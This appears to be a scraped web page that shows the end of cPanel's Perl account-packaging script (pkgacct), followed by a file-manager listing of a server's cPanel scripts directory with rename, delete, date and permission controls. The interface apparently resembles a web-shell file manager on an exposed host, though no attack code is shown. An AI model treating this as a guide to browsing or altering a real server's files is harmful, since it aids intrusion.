@Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $output_obj->warn( "WARN: Warning(s) encountered in tar during archiving:\n" . $tarball->{'tar_messages'} . "\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } if ( $tarball->{'gzip_messages'} ne '' ) { $output_obj->warn( "WARN: Warning(s) encountered in gzip during archiving:\n" . $tarball->{'gzip_messages'} . "\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } $tarball->close; return $ret; } sub export_non_cpanel_locale { my ( $user, $dest, $user_file, $output_obj, $pkgacct ) = @_; if ( !defined $user_file ) { if ( !Cpanel::Config::HasCpUserFile::has_cpuser_file($user) ) { $output_obj->error( "\nERROR: unable to load cPanel user data\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return; } $user_file = Cpanel::Config::LoadCpUserFile::loadcpuserfile($user); if ( !scalar keys %{$user_file} ) { $output_obj->error( "\nERROR: unable to load cPanel user data\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); return; } } my $current_locale = $user_file->{'LOCALE'}; my $locale = Cpanel::Locale->get_handle(); #issafe #nomunge my $is_installed_locale = grep { $current_locale eq $_ } Cpanel::Locale::Utils::Display::get_locale_list($locale); #issafe #nomunge if ( !exists $Cpanel::Locale::Utils::3rdparty::cpanel_provided{$current_locale} && $is_installed_locale ) { #issafe #nomunge $output_obj->out( "Copying locale ...", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); $pkgacct->system_to_output_obj( '/usr/local/cpanel/scripts/locale_export', '--quiet', "--locale=$current_locale", "--export-${current_locale}=$dest/locale/${current_locale}.xml" ); $output_obj->out( "Done\n", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); } return; } sub process_args { ## no critic qw(Subroutines::RequireArgUnpacking) my (@argv) = (@_); my %opts = ( 'compress' => 1, ); push @argv, '--running_under_cpuwatch' if $ENV{'RUNNING_UNDER_CPUWATCH'}; push @argv, '--running_under_cpbackup' if $ENV{'pkgacct-cpbackup'}; if ( $ENV{'pkgacct-cpbackup'} || $ENV{'pkgacct-backup'} ) { push @argv, '--skip-pgsql' if !$ENV{'pkgacct-psql'}; push @argv, '--skip-mysql' if !$ENV{'pkgacct-mysql'}; push @argv, '--skip-bwdata' if !$ENV{'pkgacct-bwdata'}; push @argv, '--skip-logs' if !$ENV{'pkgacct-logs'}; } # Do not allow auto abbreviating in order to avoid confusion # This is to avoid issues such as CPANEL-38377 # Otherwise, something like -user could be translated to -u -s -e -r # Which could cause confusing and unexpected behavior for the script caller Getopt::Long::Configure("no_auto_abbrev"); # # Some things worth explaining: # # 'compressed' is a specified option as it should have been all along. # 'compress!' specifies an option called 'compress' that can be negated # in the form of '--nocompress' or '--no-compress'; this odd-looking # combination supports the legacy of passing either '--compressed' or # '--nocompress' to the script. # Getopt::Long::GetOptionsFromArray( \@argv, 'v|version:i' => \$opts{'archive_version'}, 'mysql=s' => \$opts{'mysql_version'}, 'roundcube=s' => \$opts{'roundcube_version'}, # all (default), schema (only backs up the schema), name (only backs up the name) 'dbbackup=s' => \$opts{'db_backup_type'}, 'dbbackup_mysql=s' => \$opts{'mysql_backup_type'}, 'use_backups' => \$opts{'use_backups_for_speed'}, 'incremental' => \$opts{'incremental'}, 'split!' => \$opts{'split'}, 'running_under_cpuwatch' => \$opts{'running_under_cpuwatch'}, 'running_under_cpbackup' => \$opts{'running_under_cpbackup'}, 'compress|compressed!' => \$opts{'compress'}, 'skipacctdb|skip-acctdb!' => \$opts{'skipacctdb'}, # Alias for --skip-mysql --skip-pgsql 'skiphomedir|skip-homedir!' => \$opts{'skiphomedir'}, 'skipbwdata|skip-bwdata!' => \$opts{'skipbwdata'}, 'skipcron|skip-cron!' => \$opts{'skipcron'}, 'skipcustom|skip-custom!' => \$opts{'skipcustom'}, 'skipcustomdmarc|skip-custom-dmarc!' => \$opts{'skipcustomdmarc'}, 'skipmysql|skip-mysql!' => \$opts{'skipmysql'}, 'skipshell|skip-shell!' => \$opts{'skipshell'}, 'skiplocale|skip-locale!' => \$opts{'skiplocale'}, 'skippasswd|skip-passwd!' => \$opts{'skippasswd'}, 'skipdomains|skip-domains!' => \$opts{'skipdomains'}, 'skipvhosttemplates|skip-vhosttemplates!' => \$opts{'skipvhosttemplates'}, 'skipuserdata|skip-userdata!' => \$opts{'skipuserdata'}, 'skippgsql|skip-pgsql!' => \$opts{'skippgsql'}, 'skiplogs|skip-logs!' => \$opts{'skiplogs'}, 'skipquota|skip-quota!' => \$opts{'skipquota'}, 'skipintegrationlinks|skip-integrationlinks!' => \$opts{'skipintegrationlinks'}, 'skipauthnlinks|skip-authnlinks!' => \$opts{'skipauthnlinks'}, 'skiplinkednodes|skip-linkednodes!' => \$opts{'skiplinkednodes'}, 'skipapitokens|skip-apitokens!' => \$opts{'skipapitokens'}, 'skipdnssec|skip-dnssec!' => \$opts{'skipdnssec'}, 'skipmailman|skip-mailman!' => \$opts{'skipmailman'}, 'skipssl|skip-ssl!' => \$opts{'skipssl'}, 'skipresellerconfig|skip-resellerconfig!' => \$opts{'skipresellerconfig'}, 'skipftpusers|skip-ftpusers!' => \$opts{'skipftpusers'}, 'skipmailconfig|skip-mailconfig!' => \$opts{'skipmailconfig'}, 'skipdnszones|skip-dnszones!' => \$opts{'skipdnszones'}, 'skippublichtml|skip-public-html!' => \$opts{'skippublichtml'}, 'skipmail|skip-mail!' => \$opts{'skipmail'}, # CPANEL-38377: Add a no-opt option to prevent this from expanding to --userbackup # The reason is that a sysadmin could use this options thinking that it is legitimate # and --userbackup is a special flag that should only be used by AdminBin calls 'user' => \$opts{'user'}, 'userbackup' => \$opts{'userbackup'}, 'backup' => \$opts{'backup'}, 'h|help' => \$opts{'help'}, 'man' => \$opts{'man'}, 'get-version|get_version' => \$opts{'version'}, 'serialized_output' => \$opts{'serialized_output'}, 'link_dest=s' => \$opts{'link_dest'}, ) or _usage("Unrecognized or erroneous arguments!"); _usage( undef, 2 ) if $opts{'man'}; _usage( undef, 1 ) if $opts{'help'}; $opts{'db_backup_type'} ||= 'all'; if ( delete $opts{'skipacctdb'} ) { $opts{'skippgsql'} = $opts{'skipmysql'} = 1; } ## note: processes the -- options up to the $user my $user = shift @argv; my $tarroot = shift @argv; ## from scripts/cpbackup and bin/backupadmin.pl %opts = ( %opts, map { $_ => 1 } grep ( /^(?:userbackup|backup)$/, @argv ) ); $opts{'version'} = 1 if defined $opts{'archive_version'} && !$opts{'archive_version'}; _usage("A user is required.") unless $user || $opts{'version'}; return ( $user, $tarroot, \%opts, $opts{'mysql_version'} ); } #!!IMPORTANT!! #As long as we write out pre-Apache-TLS-compatible packages, #SSL resources need to be backed up *before* userdata. sub backup_userdata_for_user { my ( $user, $work_dir, $output_obj, $pkgacct ) = @_; my @sync_list; my @write_list; my @userdatafiles; my $userdata = "$Cpanel::Config::userdata::Constants::USERDATA_DIR/$user"; opendir( my $dir_h, $userdata ) or do { $output_obj->warn("opendir($userdata): $!"); return; }; @userdatafiles = grep { !/cache(\.stor)?$/ && !/^\.\.?$/ } readdir $dir_h; close $dir_h; foreach my $userdatafile (@userdatafiles) { push @sync_list, [ "$userdata/$userdatafile", "$work_dir/userdata/$userdatafile" ] if -e "$userdata/$userdatafile"; } my @all_domains = Cpanel::Config::userdata::Load::get_all_domains_for_user($user); push @all_domains, "main"; foreach my $domain (@all_domains) { foreach my $domain_yaml_file ( $domain, $domain . "_SSL" ) { my $contents = Cpanel::LoadFile::load_if_exists("$userdata/$domain_yaml_file") or next; next if index( 'custom_vhost_template_ap', $contents ) == -1; my $config = Cpanel::Config::userdata::Load::load_userdata( $user, $domain_yaml_file, $Cpanel::Config::userdata::Load::ADDON_DOMAIN_CHECK_SKIP ); if ( ref($config) eq 'HASH' ) { foreach my $key (qw/custom_vhost_template_ap1 custom_vhost_template_ap2/) { if ( exists $config->{$key} && -e $config->{$key} ) { push @sync_list, [ $config->{$key}, "$work_dir/userdata" ]; } } } } } if (@sync_list) { #only fork if we have to my $user_data_copy_ref = sub { foreach my $sync_ref (@sync_list) { $pkgacct->syncfile_or_warn( $sync_ref->[0], $sync_ref->[1] ); } foreach my $write_ref (@write_list) { Cpanel::YAML::DumpFile( $write_ref->[0], $write_ref->[1] ); } }; # If we copying more than 256 we need to output ... to keepalive # This was increased from 100 to 256 when we stopped needing to write # YAML if ( $#sync_list > 256 ) { $pkgacct->run_dot_event( sub { local $0 = "pkgacct - ${user} - userdata"; $user_data_copy_ref->(); }, ); } else { $user_data_copy_ref->(); } } return; } =head1 NAME scripts/pkgacct =head2 B<_strip_ea4_htaccess_blocks( $user, $workdir )> If the server is running EasyApache4, it may have added some clauses into vhosts' .htaccess files, which we want to strip out. The target server could be an EasyApache3 host, and won't have the same handlers set, or could be an EasyApache4 host, but may not have the same set of PHPs installed, and our PHP handler could very well cause the vhost to simply stop serving pages. Since we're using Archive::Tar::Builder to create the tar, and we can do any sort of mapping that we like, we'll copy our .htaccess files into the work directory, change their names, and return the remapping. The caller will need to alter the mapping, to send things into the $workdir/homedir tree, but this should be simple. If the server is not running EasyApache4, we will return without performing any action. =over 4 =item B<$user> [in] The name of the user. =item B<$workdir> [in] The working directory which contains the rest of the data we're putting into the archive. =back B<Returns:> A hashref with keys of the new filenames, and values of the original filenames. In the case of an error, or no .htaccess files to operate on, we return an empty hashref. B<Notes:> Any of the evals in this function will return a Cpanel::Exception in $@. Since we're not using exceptions anywhere else this script, we'll not load in the module, and not try to figure out what the errors are. We'll either bail, or just skip that file. =cut sub _strip_ea4_htaccess_blocks { my ( $user, $workdir, $output_obj, $cpmove ) = @_; return {} unless Cpanel::Config::Httpd::EA4::is_ea4(); local $@; my ( $php, $htaccess, @docroots_with_htaccess, %docroots, $homedir, %file_map ); my $userdata_cache = Cpanel::Config::userdata::Cache::load_cache($user); # The settings calls can throw exceptions. eval { $php = Cpanel::ProgLang->new( type => 'php' ); # die if php is not installed but do not warn on failure }; return {} if $@ || !$php; eval { %docroots = map { $userdata_cache->{$_}->[$Cpanel::Config::userdata::Cache::FIELD_DOCROOT] => 1 } keys %$userdata_cache; # TODO: we may want to warn if the -s fails because of permissions # or some error in the future. @docroots_with_htaccess = grep { -s "$_/.htaccess" } keys %docroots; $htaccess = Cpanel::WebServer->new()->get_server( type => 'apache' )->make_htaccess( user => $user ); }; if ($@) { warn; return {}; } my $work_ht_dir = "$workdir/htaccess"; mkdir $work_ht_dir, 0700 or return {}; $output_obj->out( "Fixing up EA4 .htaccess blocks:", @Cpanel::Pkgacct::PARTIAL_TIMESTAMP ); PATH: for my $docroot (@docroots_with_htaccess) { my $ht_fname = "$docroot/.htaccess"; # No need to process if the user has excluded from backups next PATH if $cpmove->is_excluded($ht_fname); my ( $atime, $mtime ) = ( stat $ht_fname )[ 8, 9 ]; my $newpath = $ht_fname; $newpath =~ s~/~_~g; $newpath = "$work_ht_dir/$newpath"; $output_obj->out( " $ht_fname ", @Cpanel::Pkgacct::PARTIAL_MESSAGE ); my $orig_htaccess_contents; my $htaccess_contents; { my $privs = $> == 0 ? Cpanel::AccessIds::ReducedPrivileges->new($user) : undef; $orig_htaccess_contents = $htaccess_contents = Cpanel::LoadFile::load_if_exists($ht_fname); } next PATH unless ( defined $htaccess_contents && $htaccess_contents =~ /\Q$Cpanel::WebServer::Supported::apache::Htaccess::BEGIN_TAG\E/s ); my $clean = $htaccess->_clean_htaccess_lines( \$htaccess_contents, $php ); unless ( ref $clean ) { $output_obj->warn( '(failed)', @Cpanel::Pkgacct::PARTIAL_MESSAGE ); next PATH; } Cpanel::FileUtils::Write::overwrite_no_exceptions( $newpath, $$clean, 0644 ); utime $atime, $mtime, $newpath; $file_map{$newpath} = $ht_fname; } $output_obj->out(" Done.\n"); return \%file_map; } sub _generate_output_obj { my ($serialized_output) = @_; if ($serialized_output) { require Cpanel::Output::TimeStamp; return 'Cpanel::Output::TimeStamp'->new( 'timestamp_method' => \&Cpanel::Time::Local::localtime2timestamp ); } else { require Cpanel::Output::Pkgacct; return 'Cpanel::Output::Pkgacct'->new( 'timestamp_method' => \&Cpanel::Time::Local::localtime2timestamp ); } } sub _usage { my ( $msg, $verbose ) = @_; require Pod::Usage; return 'Pod::Usage'->can('pod2usage')->( '-input' => '/usr/local/cpanel/bin/pkgacct.pod', '-exitval' => $msg ? 2 : 0, '-verbose' => $verbose, '-msg' => $msg, ); } sub _ensure_date_is_set { my ($isbackup) = @_; if ( $> == 0 && ( !($isbackup) ) ) { my $output = Cpanel::SafeRun::Errors::saferunallerrors('/usr/local/cpanel/scripts/rdate'); if ( $output =~ /Could not read data/ ) { $output_obj->warn( "Rdate bug detected. Please update to rdate-1.1\n", @Cpanel::Pkgacct::NOT_PARTIAL_TIMESTAMP ); } } return; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-26 11:00:34
..
DIR
-
drwx--x--x
2025-10-26 11:27:15
cpan_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
php_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
MirrorSearch_pingtest
text/x-perl
2.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
activesync-invite-reply
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
add_dns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
adddns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
addpop
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
addsystemuser
text/x-perl
3.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
adduser
text/x-perl
92 B
-rwxr-xr-x
2024-03-04 05:44:29
agent360.sh
16.03 KB
-rwx------
2025-09-17 09:17:37
apachelimits
text/x-perl
4.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
archive_sync_zones
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
auto-adjust-mysql-limits
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
autorepair
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_clean_metadata_for_missing_backups
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_create_metadata
text/x-perl
15.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_list_user_files
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
balance_linked_node_quotas
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
biglogcheck
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_bandwidthdb_root_cache_in_background
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_cpnat
text/x-perl
3.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_mail_sni
text/x-perl
3.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_maxemails_config
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
builddovecotconf
text/x-perl
6.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildeximconf
text/x-perl
7 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildpureftproot
text/x-perl
539 B
-rwxr-xr-x
2024-03-04 05:44:29
ccs-check
text/x-perl
4.91 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_cpanel_pkgs
text/x-perl
10.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_domain_tls_service_domains.pl
text/x-perl
6.68 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_immutable_files
text/x-perl
5.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mail_spamassassin_compiledregexps_body_0
text/x-perl
187 B
-rwxr-xr-x
2024-03-04 05:44:29
check_maxmem_against_domains_count
text/x-perl
3.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mount_procfs
text/x-perl
2.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mysql
text/x-perl
5.56 KB
-rwxr-xr-x
2024-12-10 10:57:18
check_plugin_pkgs
text/x-perl
2.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_security_advice_changes
text/x-perl
8.28 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unmonitored_enabled_services
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unreliable_resolvers
text/x-perl
3.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_users_my_cnf
text/x-perl
6.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_valid_server_hostname
text/x-perl
7.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkalldomainsmxs
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkbashshell
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkccompiler
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkexim.pl
text/x-perl
3.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
checklink
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkusers
text/x-perl
856 B
-rwxr-xr-x
2024-03-04 05:44:29
chkpaths
text/x-perl
141 B
-rwxr-xr-x
2024-03-04 05:44:29
chpass
text/x-perl
416 B
-rwxr-xr-x
2024-03-04 05:44:29
ckillall
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_dead_mailman_locks
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_up_temp_wheel_users
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_user_php_sessions
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns
text/x-perl
13.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns8
text/x-perl
417 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanmsglog
text/x-perl
735 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions
text/x-perl
932 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions.php
text/x-php
658 B
-rw-r--r--
2024-03-04 05:44:29
cleanquotas
text/x-perl
1.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleansessions
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupinterchange
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupmysqlprivs
text/x-shellscript
773 B
-rwxr-xr-x
2025-02-24 10:57:16
clear_cpaddon_ui_caches
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
clear_orphaned_virtfs_mounts
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
comparecdb
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilers
text/x-perl
2.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilerscheck
text/x-perl
999 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_ipv6_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
convert2dovecot
text/x-perl
682 B
-rwxr-xr-x
2024-03-04 05:44:29
convert_accesshash_to_token
text/x-perl
4.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_and_migrate_from_legacy_backup
text/x-perl
1.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_maildir_to_mdbox
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_mdbox_to_maildir
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_roundcube_mysql2sqlite
text/x-perl
26.12 KB
-rwxr-xr-x
2025-03-20 10:57:16
convert_to_dovecot_delivery
text/x-perl
4.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_whmxfer_to_sqlite
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_root
text/x-perl
1.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_user
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpaddonsup
text/x-perl
3.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpan_config
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanel_initial_install
text/x-perl
67.16 KB
-rwxr-xr-x
2025-08-07 10:57:42
cpanelsync
text/x-perl
28.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanelsync_postprocessor
text/x-perl
1.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanpingtest
text/x-perl
965 B
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup
text/x-perl
44.79 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup_transport_file
text/x-perl
5.65 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpdig
text/x-perl
2.09 KB
-rwxr-xr-x
2024-06-24 01:40:23
cpfetch
text/x-perl
1.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdblacklist
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdwhitelist
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpservice
text/x-perl
2.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_port_authority
text/x-perl
19.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_service_manager
text/x-perl
10.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
createacct
27.78 MB
-rwx------
2025-10-16 10:57:28
custom_backup_destination.pl.sample
text/x-perl
5.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
custom_backup_destination.pl.skeleton
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
dcpumon-wrapper
text/x-perl
850 B
-rwxr-xr-x
2024-03-04 05:44:29
delpop
text/x-perl
6.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
detect_env_capabilities
text/x-perl
508 B
-rwxr-xr-x
2024-03-04 05:44:29
disable_prelink
text/x-perl
2.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
disable_sqloptimizer
text/x-perl
1.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
disablefileprotect
text/x-perl
2.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
distro_changed_hook
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnscluster
text/x-perl
4.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnsqueuecron
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnssec-cluster-keys
text/x-perl
3.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
dovecot_maintenance
text/x-perl
7.66 KB
-rwxr-xr-x
2025-04-15 10:57:19
dovecot_set_defaults.pl
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpcdb
text/x-perl
866 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpinodes
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpquotas
text/x-perl
616 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpstor
text/x-perl
913 B
-rwxr-xr-x
2024-03-04 05:44:29
ea4_fresh_install
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
edit_cpanelsync_exclude_list
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
editquota
text/x-perl
3.43 KB
-rwxr-xr-x
2024-03-04 05:44:29
elevate-cpanel
386.27 KB
-rwx------
2025-10-26 11:00:34
email_archive_maintenance
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
email_hold_maintenance
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_spf_dkim_globally
text/x-perl
8.83 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_sqloptimizer
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
enablefileprotect
text/x-perl
2.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_autoenabled_features
3.01 MB
-rwx------
2025-10-16 10:57:38
ensure_conf_dir_crt_key
text/x-perl
4.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_cpuser_file_ip
text/x-perl
2.55 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_crontab_permissions
text/x-perl
1.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_dovecot_memory_limits_meet_minimum
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_hostname_resolves
text/x-perl
2.51 KB
-rwxr-xr-x
2025-03-26 10:57:15
ensure_includes
text/x-perl
601 B
-rwxr-xr-x
2024-03-04 05:44:29
ensure_vhost_includes
text/x-perl
13.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
exim_tidydb
text/x-perl
2.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximconfgen
text/x-perl
1.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximstats_spam_check
text/x-perl
867 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_certificates_from_sslstorage
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_pkgacct_sessions
text/x-perl
852 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_transfer_sessions
text/x-perl
1.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
fastmail
text/x-perl
5.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
featuremod
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
fetchfile
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
find_and_fix_rpm_issues
text/x-perl
6.99 KB
-rwxr-xr-x
2024-08-22 10:57:25
find_outdated_services
text/x-perl
6.06 KB
-rwxr-xr-x
2024-06-24 01:38:23
find_pids_with_inotify_watch_on_path
text/x-perl
3.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-cpanel-perl
text/x-perl
28.22 KB
-rwxr-xr-x
2025-10-16 10:57:36
fix-listen-on-localhost
text/x-perl
3.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-web-vhost-configuration
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_addon_permissions
text/x-perl
7.69 KB
-rwxr-xr-x
2025-06-09 10:57:21
fix_dns_zone_ttls
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_innodb_tables
text/x-perl
4.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_reseller_acls
text/x-perl
10.7 KB
-rwxr-xr-x
2025-06-09 10:57:31
fixetchosts
text/x-perl
4.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixheaders
text/x-perl
572 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailinglistperms
text/x-perl
1008 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailman
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixnamedviews
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixndc
text/x-perl
413 B
-rwxr-xr-x
2024-03-04 05:44:29
fixquotas
text/x-perl
18.39 KB
-rwxr-xr-x
2024-08-22 10:57:29
fixrelayd
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixrndc
text/x-perl
16.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixtar
text/x-perl
503 B
-rwxr-xr-x
2024-03-04 05:44:29
fixtlsversions
text/x-perl
4.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixvaliases
text/x-perl
2 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixwebalizer
text/x-perl
966 B
-rwxr-xr-x
2024-03-04 05:44:29
forcelocaldomain
text/x-perl
895 B
-rwxr-xr-x
2024-03-04 05:44:29
ftpfetch
text/x-perl
2.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpquotacheck
text/x-perl
8.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpsfetch
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpupdate
text/x-perl
261 B
-rwxr-xr-x
2024-03-04 05:44:29
gather_update_log_stats
4.25 KB
-rwx------
2025-10-21 07:53:57
gather_update_logs_setupcrontab
5.45 KB
-rwx------
2025-10-21 07:53:57
gemwrapper
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
gencrt
text/x-perl
6.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_account_suspension_include
text/x-perl
5.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_credentials
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_oauth_uri
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
generate_maildirsize
text/x-perl
13.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
gensysinfo
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
get_locale_from_legacy_name_info
text/x-perl
1.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
getremotecpmove
text/x-perl
12.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
grpck
text/x-perl
1.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
hackcheck
text/x-perl
3.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
